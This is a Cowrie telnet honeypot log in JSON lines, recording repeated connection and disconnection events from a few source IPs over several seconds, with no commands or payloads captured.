{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":37610,"dst_ip":"10.17.0.5","dst_port":23,"session":"498d09117eeb","protocol":"telnet","message":"New connection: 64.235.40.29:37610 (10.17.0.5:23) [session: 498d09117eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:20.258945Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":50760,"dst_ip":"10.17.0.5","dst_port":23,"session":"780ec8a5d551","protocol":"telnet","message":"New connection: 135.148.33.217:50760 (10.17.0.5:23) [session: 780ec8a5d551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:20.521726Z"}
{"eventid":"cowrie.session.closed","duration":30.838276147842407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:21.032977Z","src_ip":"135.148.33.217","session":"57b19e6ddbd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.850731134414673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:21.037809Z","src_ip":"64.235.40.29","session":"bdeb09cd48b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":40848,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffb59c7998fb","protocol":"telnet","message":"New connection: 99.198.111.122:40848 (10.17.0.5:23) [session: ffb59c7998fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:21.331129Z"}
{"eventid":"cowrie.session.closed","duration":30.051656007766724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:22.020503Z","src_ip":"135.148.33.217","session":"d5f5361fcab4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":57374,"dst_ip":"10.17.0.5","dst_port":23,"session":"197656fe6b62","protocol":"telnet","message":"New connection: 160.250.4.73:57374 (10.17.0.5:23) [session: 197656fe6b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:22.707555Z"}
{"eventid":"cowrie.session.closed","duration":31.068313121795654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:23.047135Z","src_ip":"64.235.40.29","session":"97d30debf297","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":45354,"dst_ip":"10.17.0.5","dst_port":23,"session":"36c6f4cb8da9","protocol":"telnet","message":"New connection: 99.198.111.122:45354 (10.17.0.5:23) [session: 36c6f4cb8da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:23.118221Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":37618,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e50bc789bbf","protocol":"telnet","message":"New connection: 64.235.40.29:37618 (10.17.0.5:23) [session: 5e50bc789bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:23.246068Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":55284,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c53c990d2a2","protocol":"telnet","message":"New connection: 135.148.33.217:55284 (10.17.0.5:23) [session: 9c53c990d2a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:23.714077Z"}
{"eventid":"cowrie.session.closed","duration":31.094096183776855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:24.122344Z","src_ip":"195.154.29.177","session":"171767ad970e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.924378395080566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:24.140883Z","src_ip":"160.250.4.73","session":"116bb8c74b53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98404836654663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:24.145491Z","src_ip":"99.198.111.122","session":"d92776b3bcbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34302282333374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:24.149767Z","src_ip":"195.154.29.177","session":"34be3541ad32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.765092849731445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:25.012012Z","src_ip":"135.148.33.217","session":"e737d444d1b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64710760116577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:25.042345Z","src_ip":"135.148.33.217","session":"10d05618d276","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.658591985702515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:25.047556Z","src_ip":"99.198.111.122","session":"1d29dc8455e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43283247947693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:25.056859Z","src_ip":"135.148.33.217","session":"8efb77a8c83c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":44126,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4c2dcaee921","protocol":"telnet","message":"New connection: 162.214.112.92:44126 (10.17.0.5:23) [session: d4c2dcaee921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:25.097900Z"}
{"eventid":"cowrie.session.closed","duration":30.703585147857666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:25.125274Z","src_ip":"99.198.111.122","session":"d7824809f737","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":59340,"dst_ip":"10.17.0.5","dst_port":23,"session":"a63b46974d85","protocol":"telnet","message":"New connection: 195.154.29.177:59340 (10.17.0.5:23) [session: a63b46974d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:25.296874Z"}
{"eventid":"cowrie.session.closed","duration":31.32549786567688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:25.404790Z","src_ip":"195.154.29.177","session":"ebe59eff7a91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":51222,"dst_ip":"10.17.0.5","dst_port":23,"session":"747813e65638","protocol":"telnet","message":"New connection: 99.198.111.122:51222 (10.17.0.5:23) [session: 747813e65638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:25.414349Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":51220,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a8c186488e8","protocol":"telnet","message":"New connection: 99.198.111.122:51220 (10.17.0.5:23) [session: 2a8c186488e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:25.419855Z"}
{"eventid":"cowrie.session.closed","duration":31.52644395828247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:25.524790Z","src_ip":"104.207.153.205","session":"b87826ffadb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.281763553619385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:25.590713Z","src_ip":"64.235.40.29","session":"0d48eb1d4dcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":58076,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9bf6c4f0afa","protocol":"telnet","message":"New connection: 135.148.33.217:58076 (10.17.0.5:23) [session: f9bf6c4f0afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:25.843113Z"}
{"eventid":"cowrie.session.closed","duration":30.336034059524536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:26.025249Z","src_ip":"135.148.33.217","session":"8f10e8a2171e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727718591690063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:26.088391Z","src_ip":"216.22.21.200","session":"2f27710f1d6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":41252,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1679959848b","protocol":"telnet","message":"New connection: 216.22.21.200:41252 (10.17.0.5:23) [session: b1679959848b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:26.148656Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":57380,"dst_ip":"10.17.0.5","dst_port":23,"session":"7860783bfffc","protocol":"telnet","message":"New connection: 160.250.4.73:57380 (10.17.0.5:23) [session: 7860783bfffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:26.154330Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":53800,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3f60fabb93c","protocol":"telnet","message":"New connection: 99.198.111.122:53800 (10.17.0.5:23) [session: d3f60fabb93c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:26.540767Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":54306,"dst_ip":"10.17.0.5","dst_port":23,"session":"277e71147e01","protocol":"telnet","message":"New connection: 99.198.111.122:54306 (10.17.0.5:23) [session: 277e71147e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:26.767236Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":59392,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bae5d4b8883","protocol":"telnet","message":"New connection: 135.148.33.217:59392 (10.17.0.5:23) [session: 9bae5d4b8883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:26.862031Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":55056,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9cfd4fa5469","protocol":"telnet","message":"New connection: 99.198.111.122:55056 (10.17.0.5:23) [session: c9cfd4fa5469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:27.103932Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":40694,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1090679b0d7","protocol":"telnet","message":"New connection: 195.154.29.177:40694 (10.17.0.5:23) [session: e1090679b0d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:27.161277Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":40832,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f76058ec175","protocol":"telnet","message":"New connection: 195.154.29.177:40832 (10.17.0.5:23) [session: 4f76058ec175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:27.202132Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":55342,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2a34fa8b726","protocol":"telnet","message":"New connection: 99.198.111.122:55342 (10.17.0.5:23) [session: e2a34fa8b726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:27.218169Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":46278,"dst_ip":"10.17.0.5","dst_port":23,"session":"220dfd707446","protocol":"telnet","message":"New connection: 104.207.153.205:46278 (10.17.0.5:23) [session: 220dfd707446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:27.490546Z"}
{"eventid":"cowrie.session.closed","duration":31.44955849647522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:27.555908Z","src_ip":"195.154.29.177","session":"3da5a6705264","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67517924308777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:27.590535Z","src_ip":"216.22.21.200","session":"99927011b9f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.793972969055176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:27.652106Z","src_ip":"216.22.21.200","session":"103601b22e8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":39718,"dst_ip":"10.17.0.5","dst_port":23,"session":"98d6800ca67e","protocol":"telnet","message":"New connection: 195.154.29.177:39718 (10.17.0.5:23) [session: 98d6800ca67e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:27.719296Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":39806,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6756317dea9","protocol":"telnet","message":"New connection: 195.154.29.177:39806 (10.17.0.5:23) [session: d6756317dea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:27.755879Z"}
{"eventid":"cowrie.session.closed","duration":30.819051265716553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:28.011713Z","src_ip":"135.148.33.217","session":"df75b7844d11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.387884378433228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:28.081887Z","src_ip":"135.148.33.217","session":"83f3124b0581","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":58046,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c17c869528c","protocol":"telnet","message":"New connection: 99.198.111.122:58046 (10.17.0.5:23) [session: 3c17c869528c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:28.178122Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":58550,"dst_ip":"10.17.0.5","dst_port":23,"session":"61ae7d8fd060","protocol":"telnet","message":"New connection: 99.198.111.122:58550 (10.17.0.5:23) [session: 61ae7d8fd060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:28.344516Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":33118,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e1a77ee8933","protocol":"telnet","message":"New connection: 135.148.33.217:33118 (10.17.0.5:23) [session: 6e1a77ee8933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:28.421640Z"}
{"eventid":"cowrie.session.closed","duration":31.40888023376465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:28.530175Z","src_ip":"104.207.153.205","session":"0654397ca276","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836090087890625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:29.047561Z","src_ip":"212.129.6.158","session":"5d4c4435d3f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.179100513458252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:29.052722Z","src_ip":"195.154.29.177","session":"ab4d0916d7e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":60748,"dst_ip":"10.17.0.5","dst_port":23,"session":"34129a09f673","protocol":"telnet","message":"New connection: 99.198.111.122:60748 (10.17.0.5:23) [session: 34129a09f673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:29.196794Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":33554,"dst_ip":"10.17.0.5","dst_port":23,"session":"affb3cd30c33","protocol":"telnet","message":"New connection: 99.198.111.122:33554 (10.17.0.5:23) [session: affb3cd30c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:29.628440Z"}
{"eventid":"cowrie.session.closed","duration":31.4948627948761,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:29.821426Z","src_ip":"64.235.40.29","session":"ca7a0e0d2ec7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.103755474090576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:30.036454Z","src_ip":"216.22.21.200","session":"94752dd24adb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.782414436340332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:30.041022Z","src_ip":"64.235.40.29","session":"a308706e9462","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85695743560791,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:30.063323Z","src_ip":"212.129.6.158","session":"f0f50bd63dc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51527190208435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:30.074406Z","src_ip":"99.198.111.122","session":"8bfd584e8c17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":34576,"dst_ip":"10.17.0.5","dst_port":23,"session":"42039164855f","protocol":"telnet","message":"New connection: 99.198.111.122:34576 (10.17.0.5:23) [session: 42039164855f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:30.094368Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":45528,"dst_ip":"10.17.0.5","dst_port":23,"session":"d195f2c51ca0","protocol":"telnet","message":"New connection: 216.22.21.200:45528 (10.17.0.5:23) [session: d195f2c51ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:30.109675Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51396,"dst_ip":"10.17.0.5","dst_port":23,"session":"de93a509fdfb","protocol":"telnet","message":"New connection: 64.235.40.29:51396 (10.17.0.5:23) [session: de93a509fdfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:30.259065Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":45726,"dst_ip":"10.17.0.5","dst_port":23,"session":"721d22626047","protocol":"telnet","message":"New connection: 216.22.21.200:45726 (10.17.0.5:23) [session: 721d22626047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:30.280669Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":35308,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fd8b61f1a98","protocol":"telnet","message":"New connection: 99.198.111.122:35308 (10.17.0.5:23) [session: 9fd8b61f1a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:30.406737Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":35502,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8d6d4c29dd2","protocol":"telnet","message":"New connection: 99.198.111.122:35502 (10.17.0.5:23) [session: e8d6d4c29dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:30.479327Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":49404,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2ee199b5afc","protocol":"telnet","message":"New connection: 195.154.29.177:49404 (10.17.0.5:23) [session: b2ee199b5afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:30.571111Z"}
{"eventid":"cowrie.session.closed","duration":31.260744333267212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:30.942261Z","src_ip":"64.235.40.29","session":"bdff4f987377","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":35832,"dst_ip":"10.17.0.5","dst_port":23,"session":"06cbb8c49b49","protocol":"telnet","message":"New connection: 135.148.33.217:35832 (10.17.0.5:23) [session: 06cbb8c49b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:31.036378Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":36036,"dst_ip":"10.17.0.5","dst_port":23,"session":"171e42915bfe","protocol":"telnet","message":"New connection: 135.148.33.217:36036 (10.17.0.5:23) [session: 171e42915bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:31.181303Z"}
{"eventid":"cowrie.session.closed","duration":30.416551113128662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:31.252763Z","src_ip":"99.198.111.122","session":"162cdf03d94b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":56028,"dst_ip":"10.17.0.5","dst_port":23,"session":"7190b21d3bb7","protocol":"telnet","message":"New connection: 195.154.29.177:56028 (10.17.0.5:23) [session: 7190b21d3bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:31.320059Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51410,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d399ffa53cb","protocol":"telnet","message":"New connection: 64.235.40.29:51410 (10.17.0.5:23) [session: 4d399ffa53cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:31.347167Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":37710,"dst_ip":"10.17.0.5","dst_port":23,"session":"05c0a80647fd","protocol":"telnet","message":"New connection: 99.198.111.122:37710 (10.17.0.5:23) [session: 05c0a80647fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:31.388648Z"}
{"eventid":"cowrie.session.closed","duration":31.632490873336792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:31.804782Z","src_ip":"195.154.29.177","session":"4427c5d241e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":47292,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9531c198aea","protocol":"telnet","message":"New connection: 216.22.21.200:47292 (10.17.0.5:23) [session: d9531c198aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:31.878310Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":42838,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbd4536b139d","protocol":"telnet","message":"New connection: 160.250.4.73:42838 (10.17.0.5:23) [session: cbd4536b139d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:32.181162Z"}
{"eventid":"cowrie.session.closed","duration":30.879735946655273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:32.709754Z","src_ip":"216.22.21.200","session":"64e416a67bf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.650042295455933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:32.713880Z","src_ip":"216.22.21.200","session":"7548b047aee0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.593950510025024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:32.766808Z","src_ip":"216.22.21.200","session":"75a6d3545194","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":42462,"dst_ip":"10.17.0.5","dst_port":23,"session":"07b2e487b0cc","protocol":"telnet","message":"New connection: 99.198.111.122:42462 (10.17.0.5:23) [session: 07b2e487b0cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:32.944674Z"}
